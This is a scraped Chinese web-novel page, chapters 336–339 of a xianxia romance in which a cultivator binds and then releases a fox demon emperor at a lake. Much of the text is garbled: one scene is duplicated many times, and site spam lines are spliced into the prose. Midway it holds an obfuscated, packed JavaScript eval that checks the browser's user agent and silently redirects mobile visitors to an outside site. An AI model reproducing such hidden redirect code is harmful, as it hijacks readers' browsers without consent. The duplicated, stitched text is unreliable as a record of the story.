眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 方才披上的外衣滑落湖中,就这么毫无遮掩地……停在了距她不足半寸之处。 风回雪:“……!” 望进一双眼含笑意的眸子,沉默三秒,乌发间“噗”地冒出一对雪白的狐耳。 哆嗦着指尖,摇摇欲坠,满脸都是恨不得当场昏死过去的绝望。 “可恶的两脚兽!你何时契约了我!” “你竟敢契约我!你知不知道我是谁!” 没错。 他突然感受到了体内多出一丝,来自于他和面前这个少女的灵契! 而且。 还是个主仆契! 他是仆,她是主! 他不过洗了个澡,就这么水灵灵、赤条条的被契约了? 天理何存!!! 风回雪一口气没上来,险些背过去,顾不得两个都未着寸缕,想也不想,双手掐上了她的脖颈。 用力一晃。 “死女人!你竟然敢契约我!” “你死定了!你绝对死定了!” 空。 波光一动,倒影碎了又圆,那张滟绝的容颜也在水纹间明明灭灭,似真似幻。 风回雪下意识屏住了呼吸。 别说,这个两脚兽……长得还真就挺好看! 可下一秒,他的目光无意掠过少女胸前傲人的起伏,顿时如被火焰灼烫般,猛地一窒。 慌手慌脚急转过身去,耳根刷地红透。 心跳似擂鼓,再难平息。 他整张脸憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 方才披上的外衣滑落湖中,就这么毫无遮掩地……停在了距她不足半寸之处。 风回雪:“……!” 望进一双眼含笑意的眸子,沉默三秒,乌发间“噗”地冒出一对雪白的狐耳。 哆嗦着指尖,摇摇欲坠,满脸都是恨不得当场昏死过去的绝望。 “可恶的两脚兽!你何时契约了我!” “你竟敢契约我!你知不知道我是谁!” 没错。 他突然感受到了体内多出一丝,来自于他和面前这个少女的灵契! 而且。 还是个主仆契! 他是仆,她是主! 他不过洗了个澡,就这么水灵灵、赤条条的被契约了? 天理何存!!! 风回雪一口气没上来,险些背过去,顾不得两个都未着寸缕,想也不想,双手掐上了她的脖颈。 用力一晃。 “死女人!你竟然敢契约我!” “你死定了!你绝对死定了!” 空。 波光一动,倒影碎了又圆,那张滟绝的容颜也在水纹间明明灭灭,似真似幻。 风回雪下意识屏住了呼吸。 别说,这个两脚兽……长得还真就挺好看! 可下一秒,他的目光无意掠过少女胸前傲人的起伏,顿时如被火焰灼烫般,猛地一窒。 慌手慌脚急转过身去,耳根刷地红透。 心跳似擂鼓,再难平息。 他整张脸憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 方才披上的外衣滑落湖中,就这么毫无遮掩地……停在了距她不足半寸之处。 风回雪:“……!” 望进一双眼含笑意的眸子,沉默三秒,乌发间“噗”地冒出一对雪白的狐耳。 哆嗦着指尖,摇摇欲坠,满脸都是恨不得当场昏死过去的绝望。 “可恶的两脚兽!你何时契约了我!” “你竟敢契约我!你知不知道我是谁!” 没错。 他突然感受到了体内多出一丝,来自于他和面前这个少女的灵契! 而且。 还是个主仆契! 他是仆,她是主! 他不过洗了个澡,就这么水灵灵、赤条条的被契约了? 天理何存!!! 风回雪一口气没上来,险些背过去,顾不得两个都未着寸缕,想也不想,双手掐上了她的脖颈。 用力一晃。 “死女人!你竟然敢契约我!” “你死定了!你绝对死定了!” 空。 波光一动,倒影碎了又圆,那张滟绝的容颜也在水纹间明明灭灭,似真似幻。 风回雪下意识屏住了呼吸。 别说,这个两脚兽……长得还真就挺好看! 可下一秒,他的目光无意掠过少女胸前傲人的起伏,顿时如被火焰灼烫般,猛地一窒。 慌手慌脚急转过身去,耳根刷地红透。 心跳似擂鼓,再难平息。 他整张脸憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 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() { $(''.inform'').remove(); $(''#content'').append('' 憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 方才披上的外衣滑落湖中,就这么毫无遮掩地……停在了距她不足半寸之处。 风回雪:“……!” 望进一双眼含笑意的眸子,沉默三秒,乌发间“噗”地冒出一对雪白的狐耳。 哆嗦着指尖,摇摇欲坠,满脸都是恨不得当场昏死过去的绝望。 “可恶的两脚兽!你何时契约了我!” “你竟敢契约我!你知不知道我是谁!” 没错。 他突然感受到了体内多出一丝,来自于他和面前这个少女的灵契! 而且。 还是个主仆契! 他是仆,她是主! 他不过洗了个澡,就这么水灵灵、赤条条的被契约了? 天理何存!!! 风回雪一口气没上来,险些背过去,顾不得两个都未着寸缕,想也不想,双手掐上了她的脖颈。 用力一晃。 “死女人!你竟然敢契约我!” “你死定了!你绝对死定了!” 空。 波光一动,倒影碎了又圆,那张滟绝的容颜也在水纹间明明灭灭,似真似幻。 风回雪下意识屏住了呼吸。 别说,这个两脚兽……长得还真就挺好看! 可下一秒,他的目光无意掠过少女胸前傲人的起伏,顿时如被火焰灼烫般,猛地一窒。 慌手慌脚急转过身去,耳根刷地红透。 心跳似擂鼓,再难平息。 他整张脸憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 方才披上的外衣滑落湖中,就这么毫无遮掩地……停在了距她不足半寸之处。 风回雪:“……!” 望进一双眼含笑意的眸子,沉默三秒,乌发间“噗”地冒出一对雪白的狐耳。 哆嗦着指尖,摇摇欲坠,满脸都是恨不得当场昏死过去的绝望。 “可恶的两脚兽!你何时契约了我!” “你竟敢契约我!你知不知道我是谁!” 没错。 他突然感受到了体内多出一丝,来自于他和面前这个少女的灵契! 而且。 还是个主仆契! 他是仆,她是主! 他不过洗了个澡,就这么水灵灵、赤条条的被契约了? 天理何存!!! 风回雪一口气没上来,险些背过去,顾不得两个都未着寸缕,想也不想,双手掐上了她的脖颈。 用力一晃。 “死女人!你竟然敢契约我!” “你死定了!你绝对死定了!” 空。 波光一动,倒影碎了又圆,那张滟绝的容颜也在水纹间明明灭灭,似真似幻。 风回雪下意识屏住了呼吸。 别说,这个两脚兽……长得还真就挺好看! 可下一秒,他的目光无意掠过少女胸前傲人的起伏,顿时如被火焰灼烫般,猛地一窒。 慌手慌脚急转过身去,耳根刷地红透。 心跳似擂鼓,再难平息。 他整张脸憋得通红,仍强撑着不肯输了气势,硬是挺直脊背,趾高气扬的冷冷一哼。 “哼,也就……也就那样!” 江献晚:“……” 也就那样? 死狐狸这张嘴,还真是……硬。 江献晚视线缓慢掠过他肩背的精悍线条,手肘轻抵石面,慵慵懒懒拖长了语调。 “哦?真只是……也就这样?” 风回雪:“……” 他冷声嗤笑,耳根却不受控制地发烫。 嘴硬道:“你没有镜子,不会低下头对着水照一照?” 虽然……她长得的确挺好看的。 像幽林深处悄然凝形的精魅,又似月下惑人心魄的妖灵。 比他更像一只狐狸。 可他承认了算什么? 算他馋她? 大半夜来偷看她洗澡? 再者,风回雪向来觉得自己是天下第一美,自然嘴硬的不肯承认。 江献晚差点笑出声。 果然是骚包又自恋的狐狸。 见他匆匆趟水就要跑,江献晚哪里会放任他走掉。 眼底闪过一丝狡黠的笑意,在他七手八脚披上衣袍,凌空跃出之际,声音淡淡,不疾不徐。 “回来。” 风回雪:“……!” 水灵灵来了个大转身,整个人都懵了。 似被一种无形的力量操控,不由自主地朝少女飞掠而去。 方才披上的外衣滑落湖中,就这么毫无遮掩地……停在了距她不足半寸之处。 风回雪:“……!” 望进一双眼含笑意的眸子,沉默三秒,乌发间“噗”地冒出一对雪白的狐耳。 哆嗦着指尖,摇摇欲坠,满脸都是恨不得当场昏死过去的绝望。 “可恶的两脚兽!你何时契约了我!” “你竟敢契约我!你知不知道我是谁!” 没错。 他突然感受到了体内多出一丝,来自于他和面前这个少女的灵契! 而且。 还是个主仆契! 他是仆,她是主! 他不过洗了个澡,就这么水灵灵、赤条条的被契约了? 天理何存!!! 风回雪一口气没上来,险些背过去,顾不得两个都未着寸缕,想也不想,双手掐上了她的脖颈。 用力一晃。 “死女人!你竟然敢契约我!” “你死定了!你绝对死定了!” 第 337 章 尾巴递给我 他堂堂妖帝,放个屁的功夫,被一个两脚兽给契约了?! 请苍天! 辨忠奸! 早知道,打死他,都不来这里洗澡! 江献晚差点没被他晃死,面对如此熟悉的一幕,险些哈哈大笑出声。 无视炸毛的狐狸,强忍着笑意,只轻轻一挑眉梢,依旧是一派气定神闲。 不紧不慢地轻启唇瓣,嗓音里透着一丝不容置疑的慵懒。 “撒手。 风回雪:“…… 僵硬的撒开了手,一双狐狸眸登时瞪的那叫一个滚圆。 活像两把冷飕飕的小刀子,没将她剜出两个窟窿。 又在触及到她裸露的肩颈,与那片脂膏似的、波澜壮阔的雪白肌肤,狐耳倏地一颤。 整个人如同被火燎到,“唰地别过脸去,连呼吸都跟着急促了几分。 他喉结重重滚动了一下,声音绷得发紧,尾音却抑制不住地发颤。 恼道:“你、你知不知羞…… 就不怕他是什么坏人? 江献晚心中乐的直打滚,闲闲支起一侧脸颊,目光在他身上慢悠悠的流连辗转。 狐狸半身浸在水中,水面堪堪没过腰际,勾勒出紧窄有力的腰线。 墨发未挽,流水般泼洒而下,几缕黏附在那痕紧实的玉色胸膛,无端端溢出几分情欲的气息。 喉结微动,有水珠自下颌滴落,途经喉结、锁骨,一路向下,蜿蜒滑过起伏的肌肉沟壑,最终没入水下引人遐想的深处。 那双黑的发紫的眸,更是如同最上等的葡萄酒,眼波潋滟如醉,只消被那眼风轻轻一扫,便似有钩子挠在心尖,酥麻微痒。 诱人采撷,又隐含薄毒。 活像一株在暗夜里恣意蔓生的妖花。 此刻眼梢含媚,面颊晕红,又羞又恼,时不时斜过一双风情的狐狸眸,瞪她的模样,非但毫无威慑,直叫人心动的诱惑的犯罪。 心中一痒,淡淡开口。 “尾巴递给我。 风回雪:“……! 从震惊,到羞愤。 “你、你说什么?!你还想摸我…… 浑身一僵,一条湿哒哒的白尾巴不 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 由自主从水里扬起。 “啪”地一下麻溜扫在她掌心! 风回雪整个人都麻了。 望着那条被少女握在白嫩掌心慢条斯理把玩揉捏的尾巴又是一口气没上来。 当场抓狂! 声音劈叉! 再次掐上她的脖! 喷她脸上! “死女人!你竟敢摸我的尾巴!” “你知不知道尾巴代表什么!你竟然敢摸它!” “没人敢摸我的尾巴!” “你还……揉!” 绝望的是……他心底为什么会生出甜蜜的羞赧和难以言喻的邪火。 尤其触碰到那片几乎要在掌心间化开的肌肤…… 竟有种不舍得放手和想要做点什么的冲动。 他八成是疯了! 江献晚:“……” 合着她不是人吗? 揉怎么了? 哪次不都是他非捉着她的手指强迫她去揉的? 这会儿跟她玩害羞? 再说尾巴这种东西属于共同财产好吧? 看着羞愤欲死的狐狸江献晚根本不知道什么叫做不好意思直接粗鲁的一路撸到尾巴尖。 无辜抬眼。 “不可以吗?” 风回雪:“……” 一股剧烈的酥麻猛地窜起从尾椎直冲头顶风回雪指尖狠狠一颤几乎是瞬间软了腰身。 一声压抑而沙哑的闷哼从唇齿间溢出又被他死死咬住化作一段断续的低喘。 他睫毛湿漉漉的垂着半是羞愤半是懊恼。 诡异的是他竟是说不出半个字拒绝她的话。 只能无措的将身体沉入水中几分掩饰着水下的窘迫。 落在她面颊的眸光却是失神而凌乱。 然而这个人族两脚兽显然不知道‘羞耻’是怎么写的。 不仅得寸进尺地捏了捏敏感的尾巴尖指尖还在那簇绒毛上故意揉了揉。 再次提出一个更无耻的要求。 “还要。” 还要…… 风回雪耳根一热。 听说看这本书的人都是很幸运的,分享后你的运气会更棒 明明是极正常的两个字,自她口中说出,倒像是浸透了蜜,染上了香。 丝丝缕缕钻进耳廓,又麻又痒,缠绕上几分说不清、道不明的缱绻。 他心音乱了一拍,慌忙咬紧尖牙,竭力抵抗那契约之力的牵引,仍有一条尾巴不听他使唤,麻溜地一甩,没志气的蹭了过去。 “还要……” 一条尾巴甩了过去。 “还要……” 一条尾巴甩了过去。 “还……” “你能不能一次性讲完!” 风回雪忍无可忍,额角青筋突突直跳,脸颊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338434|177725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着耳根红得滴血。 水下昂然的反应,更是让他无措。 忽然暴躁的将剩下的尾巴全甩在她脸上。 “给你!都给你!摸去!” “你最好祈祷灵契永远解不开,否则,等我解开了灵契,你、你就死定了!” 江献晚:“……” 如果他说这些话的时候,底气硬一点,脸别那么红,她还真信那么一点。 对此。 江献晚抹了一把脸上的水,浑不在意,抱着九条尾巴,倏地凑近他一点。 嗓音连勾带缠。 “怎么?你要将我……亲死吗?” 风回雪亲起人来,就像饿狗见了骨头,恨不得吞吃到腹中。 相对其他死法,她承认,她还是比较喜欢这种死法。 风回雪:“……!” 她说什么? 亲、亲死? 流氓! 一双狐耳猛地抖了抖,像是被这句话烫到似的,从耳尖到耳根迅速漫开一层绯红,灼灼烧得他心慌。 明明该立刻移开眼,可他的目光却不受控制地凝在她唇上。 喉结急促地滚动了一下,呼吸也跟着乱了。 那双唇瓣宛若初绽的桃瓣,又似浸了胭脂的软膏,水润莹泽……看上去,很好亲。 紧接着。 视线失控般地、又往下滑了一寸。 却见那少女微微直起身,嘴角噙着戏谑的笑,故意问道:“好看吗?” 风回雪:“……” 三秒后,涨红着脸,捂了鼻尖。 声音低哑得厉害,带着一丝狼狈的轻颤。 “沉下去!” 她知不知羞! 更可耻的是……他居然流鼻血了! 还……忍不住总想偷看! 甚至,想不顾一切,含上那双唇,粗鲁的肆虐,尝尽她的气息。 意识到自己肮脏又陌生的念头,风回雪火急火燎的挪开视线,手忙脚乱退后一步。 仰脸试图将鼻血堵回去,余光却又是不由自主一瞥。 血流的……更欢快了! 他哪里丢过这样大的脸,又哪经历过这般香艳的场面,一时又急又恼。 凶巴巴命令。 “把衣裳穿上!” 想他堂堂妖帝,生就绝色,竟没出息的对着一个陌生少女起了龌龊念头。 还有一丝……莫名而蛮横的占有欲。 对。 就是占有欲。 这念头让他自己也为之愕然,搅得他心湖大乱,方寸尽失。 第 338 章 解契 对于狐狸的反应,江献晚挑了挑眉,强忍着差点噗嗤笑出声的难耐,只轻轻唔了一声。 搂了一腿的尾巴,反而向后靠了靠。 语气风轻云淡。 “我凭什么要穿?” “你不是也没穿么?” 她十指都被泡软了,懒得动倒是真的。 只悠然的歪着脑瓜,目光掠过眼眼皮子下,那每一寸肌理都仿佛蕴含着蓄势待发的张力,透着不容忽视的雄性力量的线条。 一路顺着人鱼线,没入晃动的水波。 既挪不开眼,还红了脸。 狐狸的身材好的要死,她抱过,摸过,自然知道多硌手。 风回雪被她提醒到了,生怕她发现自己身体起了不该有的反应,慌张往水下一沉。 不见如何动作,一件洒金的绯色外衫迅速裹住蓄满力量的身躯。 只是衣料浸水贴服,反而更勾勒出紧实的肌理,若隐若现,比全然赤裸更添几分惹人遐想的色气。 他两指捏着鼻尖,偏开头努力不去看她,嗓音闷闷,有些沙哑。 “将灵契解了!” 这两脚兽的修为,竟比他还要强,他……解不开——!!! “可以啊。”江献晚掩唇打了个哈欠,漫不经心,“先把衣裳脱了。” 风回雪:“……!” “你!” 他羞愤抬眸,狐耳高速震颤,手指却不听使唤,利落地扯开了刚披上的外裳。 再次坦诚相待。 热风拂过,枝叶娑娑。 风回雪不知是气的还是羞的,脸涨的通红,一双狐狸眸死死瞪住她。 狐耳更是一颤一颤的。 江献晚好笑中,心下有些惊讶。 谁能想到,就在方才,两缕细微流光凭空浮现,悄无声息地没入他们体内,自动结下了灵契。 这是因另一个世界,将他们又系在一起了? 不过,她其实并不想同他结下这灵契。 她能清晰地分辨出谁才是属于她的那个风回雪,同时又清醒地意识到: 眼前这个,也是风回雪。 这种认知矛盾而割裂。 明明该是独一无二的人,她遇见了两个。 江献晚忽然抬眸,眼中那点促狭的笑意淡去,取而代之的是极认真的神色。 “过来,我将它解了。” 风回雪一怔,缓缓朝她迈了一步。 这样的距离,太近了。 那片赛雪的肌肤在眼前晃动,颈窝那一小片凹陷还盛着剔透的水珠,像斟满醉人佳酿,诱人俯身品舐。 他喉结微动,目光上移,落在她纤密如鸦羽的睫毛上。 方才被他尾巴扫了一脸水,此时正挂着细碎水珠,欲落不落,缠绊着人的视线。 她似乎也觉出不适,下意识轻轻一眨,那滴水便直直坠进眼中。 突如其来的湿涩让她难受地阖上眼, 揉了揉眼角,竟将那一小片肌肤揉出薄红,宛若雪地里洇开的一抹桃花,艳的灼眼。 风回雪倏尔屏住了呼吸,胸膛缓缓起伏一下。 目光所及,无一处不是惊心动魄的风景。 纤长的颈,伶仃的锁骨,葱白的指尖,玉藕似的手臂,起伏的曲线.... 他喉结缓缓攒动,小腹又是一阵没来由的燥热,喉咙干得发紧。 这种陌生而猛烈的感觉,蛮橫地冲撞着他的理智,让他思绪如同狂风中的舟楫,剧烈地起伏颠簸,几乎要彻底失控。 便在这时,江献晚忽然回过神,掌心轻轻贴上了他的腹部。 那触感细腻、娇软,不可思议。 可他心底什么莫名的旖旎心思,反倒是在这一刹那,全没了。 一种灭顶般的恐慌与蚀骨的悔意,毫无征兆地攫住了他的心脏。 几乎是出于濒死般的本能,他猛地探出手,死死攥住了那截雪白皓腕,力道大得几乎要捏碎她纤细的骨骼。 “等……”他脱口而出,声音里浸透着连自己都未曾预料到的颤抖和哀恳,一丝破碎的恐慌溢出齿缝。 “别动。”江献晚低声道。 她甚至没有抬眼看他,指尖灵光流转,另一只手随意一拨,格开他试图阻拦的手。 那动作不容置喙,更不留半分转圜的余地。 下一瞬,干脆利落地抽出了那缕维系着两人、萦绕着微光的灵契丝线。 随即毫不犹豫地收指一握。 萦绕在二人之间那无形连结,便化作无数凄冷寂寥的星芒,在她冰冷的指尖彻底湮灭,再无痕迹。 灵契消散的瞬间,风回雪脸上血色尽褪,惨白得骇人。 一股钻心剜骨的剧痛自心口突兀的炸开,空落落的,带起一丝丝剜入骨髓般的抽痛。 有什么深植于魂魄、至关重要的东西被连根拔起,将他魂魄最深处的一部分硬生生撕裂。 鬓边顷刻间沁满冰凉的冷汗,沿着苍白的皮肤滑落。 攥着她手腕的指骨无意识地根根拢紧,犹如铁钳般。 那力道剧烈颤抖,近乎失控,几乎要嵌入那细腻的肌肤之中。 “你!” 她竟然解了…… 如此干脆…… 如此彻底…… 风回雪猛地抬首,瞳孔猝然收缩,映出少女已然低垂的眉眼。 只觉脑中嗡鸣一片,所有思绪戛然而止,剩下无边无际的窒息空洞。 那只攥着她手腕的手,像是被无形的火焰灼伤,他猛地甩开,动作又快又急。 近乎恐慌的狼狈,接连向后退了两步。 他机械的转身,从微凉的水中捞起自己的衣衫。 指尖碰到衣带时,颤抖的无法自控,几次滑落。 才勉强系上一个歪斜松垮的结,狼狈的可笑。 那洞穿肺腑的剧痛,并未停歇,反而狠狠碾过心脏,碾断他的经脉。 风回雪忍不住弯下腰,五指死死抠住心口,指节因极度用力而狰狞泛白。 就像是…… 他似乎做了一个……这辈子,最后悔、最错误的决定…… 亲手剜去了自己的心脏。 这个少女摸了他的尾巴,更对他施下了灵契。 他让她解了灵契,本是应该。 可明明是如他所愿,他此刻为何会心如刀绞? 风回雪倏然回眸,眼底洇开一片湿漉漉的绯红,水光潋滟,几乎要承载不住那份摇摇欲坠的痛楚。 而那个少女,只是出神地凝视着自己的指尖,连一丝余光都未曾投来。 甚至连他转身离去,也毫无所觉,更不曾出言挽留,与方才那个笑语嫣然、得心应手调戏他的模样,判若两人。 风回雪只觉提起的步履,如同坠着千斤寒铁。 他僵着脊背,又勉强向前挪了两步,眼角的余光缠绕着那抹身影。 寸寸收紧。 勒入血脉。 那个少女依旧没有看他,哪怕是一瞥。 他喉结微动,眼眶充斥一片湿意,尝试着再朝远处走两步。 这一次,近乎是刻意地,将脚下平静的水面趟得哗啦作响,水花四溅。 在这过分寂静的空间里显得格外突兀和……幼稚。 江献晚:“……” 她垂眼盯着指尖,眼底浮出一点点无奈,此刻还真的没想留下他。 因为。 就在她刚解了灵契,春潮期紧跟着来了。 热浪猝不及防席卷全身,来势汹汹,极为霸道,以她如今的修为,足够她结结实实,喝上一壶。 留下狐狸,她没有把握能控制得了自己,不做出什么过分举动。 只能装作看不到他离开的样子。 算了,别吓到他。 况且,现在拦下他又能做什么。 他,终究不是自己的狐狸。 江献晚阖落了睫毛,转身重新伏在了石块上,湿漉漉的墨发散落在肩头。 渡劫的春潮期异常难捱,以她现在的情况,已无法再找其他地方。 这片树林广袤,湖的位置又隐蔽,反而安全一些。 她打算在这里度过春潮期。 江献晚此刻所有的注意力皆在体内忽然升起的燥热上。 化神期修为,春潮期已是难忍,如今水灵灵的渡劫,有种被直接扔到炼丹炉,瞬息烧成灰烬的体验。 她难得有些紧张,牙齿不知所措的咬上指节,一点点加重力道。 风回雪久久听不到身后的动静,一步一磨蹭,故意拨动湖水,发出哗啦的巨大水声。 夜间静谧,一点声音都显得尤为刺耳。 他力道用得毫不收敛,带着一股无处发泄的恼意,水花溅湿了他的面颊,也溅碎了水中的月影。 可那个少女压根没听见似的,兀自重新将手臂搭在青石块上,泛着异常红晕的脸颊轻轻枕了上去,长睫低垂,呼吸清浅。 俨然一副酣然入睡的模样。 风回雪只觉一股更为尖锐的剧痛自心口悍然炸开,犹如千万根淬毒的冰锥狠狠刺入。 又似无形的荆棘在他五脏六腑间疯狂绞拧、扎根。 他浑身猛地一颤,抑制不住地轻轻觳觫起来,连齿关都沁出了铁锈般的腥气。 这算什么? 先是看了他的身子,与他结下灵契,又来摸他尾巴撩拨他。 扭头便翻脸不认。 更是毫无负责的态度! 他脚尖猛地一点水面,提气纵身跃出,带动一片磅礴水雾。 旋即头也不回地没入暗影幢幢的密林之间,只留下湖面一圈圈混乱的涟漪,兀自荡漾不休。 第 339 章 晚晚 周遭渐渐沉寂下来,只余下水波轻荡的微响。 江献晚睫毛颤了几下,紧绷的肩头终于无力地松塌下去,流露出几分难以掩饰的疲惫。 若是她的狐狸,她怎会舍得放他离开。 而风回雪……又如何舍得,将她独自丢在这湖中。 她阖了阖眸。 最后定格的那一幕,再次跃入脑海。 一双双猩红的眼眸,盛满了惊惧与绝望,水光汹涌,却抓握不住她的指尖。 也不知狐狸他们现在怎么样了…… 更不知江行行在哪,会不会害怕…… 江献晚闭紧眸子,死死忍住眼眶的涩然,和焚毁理智的蚀骨热意,勉强裹了一层青衣。 原本温度适宜的湖水,此刻像是被投入烈烈熔炉,烫得惊人,每一寸水流都宛如沸腾的钢针,密密麻麻扎进肌肤。 渡劫的春潮期,比她想象中的还要恐怖,她浑身控制不住细密的颤抖起来,意识溃散,连伏在石块上的力气都做不到。 江献晚痛苦的蹙着眉,双颊满是汗珠,双臂再支撑不住,缓缓滑下,无力的沉入幽深的湖底。 水流激荡,裹挟着她下坠。 却让人有种误入滚烫油锅的错觉,顷刻间就要被那可怕的热度吞噬、蒸发殆尽。 徒劳地张了张口,湖水争先恐后地涌入鼻喉,胸腔传来撕裂般的剧痛,所有的挣扎都变得绵软而微不足道,反而沉的更快。 四肢终是随水流沉寂。 她怔怔的睁着眼,脑中空白,什么也想不了。 这片湖水很是澄澈干净,月光穿透水面,映的湖底影影绰绰。 濒死的刹那,竟有种可以瞬间回到另一个世界的美好错觉。 她好像看到了很多人。 江行行,风回雪,帝隐…… 师兄,何师姐,霓裳,月离…… 江献晚再也支撑不住,眼睫如折翼的蝶,缓缓垂落,欲将最后一丝模糊的光线彻底隔绝。 就在视线即将陷入永暗的前一刹,一抹极致艳丽、流转着灿烂光华的颜色,猛地撕裂昏暗的水幕,不顾一切地朝着她的方向涌来。 她纤长的睫毛极其微弱地颤动了一下,用尽残存的所有气力,艰难地掀开一线眼帘。 神智涣散模糊,水光扭曲摇曳,在那一片朦胧破碎的光影里,她恍惚看见了那张让她想了千遍万遍的脸。 美的不可方物。 却也带着十二万分的惊惶与破碎。 那人眉心紧锁,眼底是无法掩饰的焦灼与近乎恐惧的仓皇。 有力的指骨带着无法控制的颤抖,以一种掠夺的力道,猛地攥住她的手腕,狠狠带入怀中。 下一秒,微凉的唇覆压下来,一口气息强横又不失温柔地渡入她几近枯竭的肺腑。 随即,他铁臂紧紧揽住她柔软的腰肢,猛地破水而出! 氧气回涌的瞬间,江献晚伏在他肩头剧烈的咳嗽起来,眼泪似决堤,失控的涌出。 用尽全部的力气,双臂死死环上他的脖颈。 “风回雪……” “风回雪……” 她声音刚一冲出,就被一阵啜泣取代,顷刻间化为了嚎啕大哭。 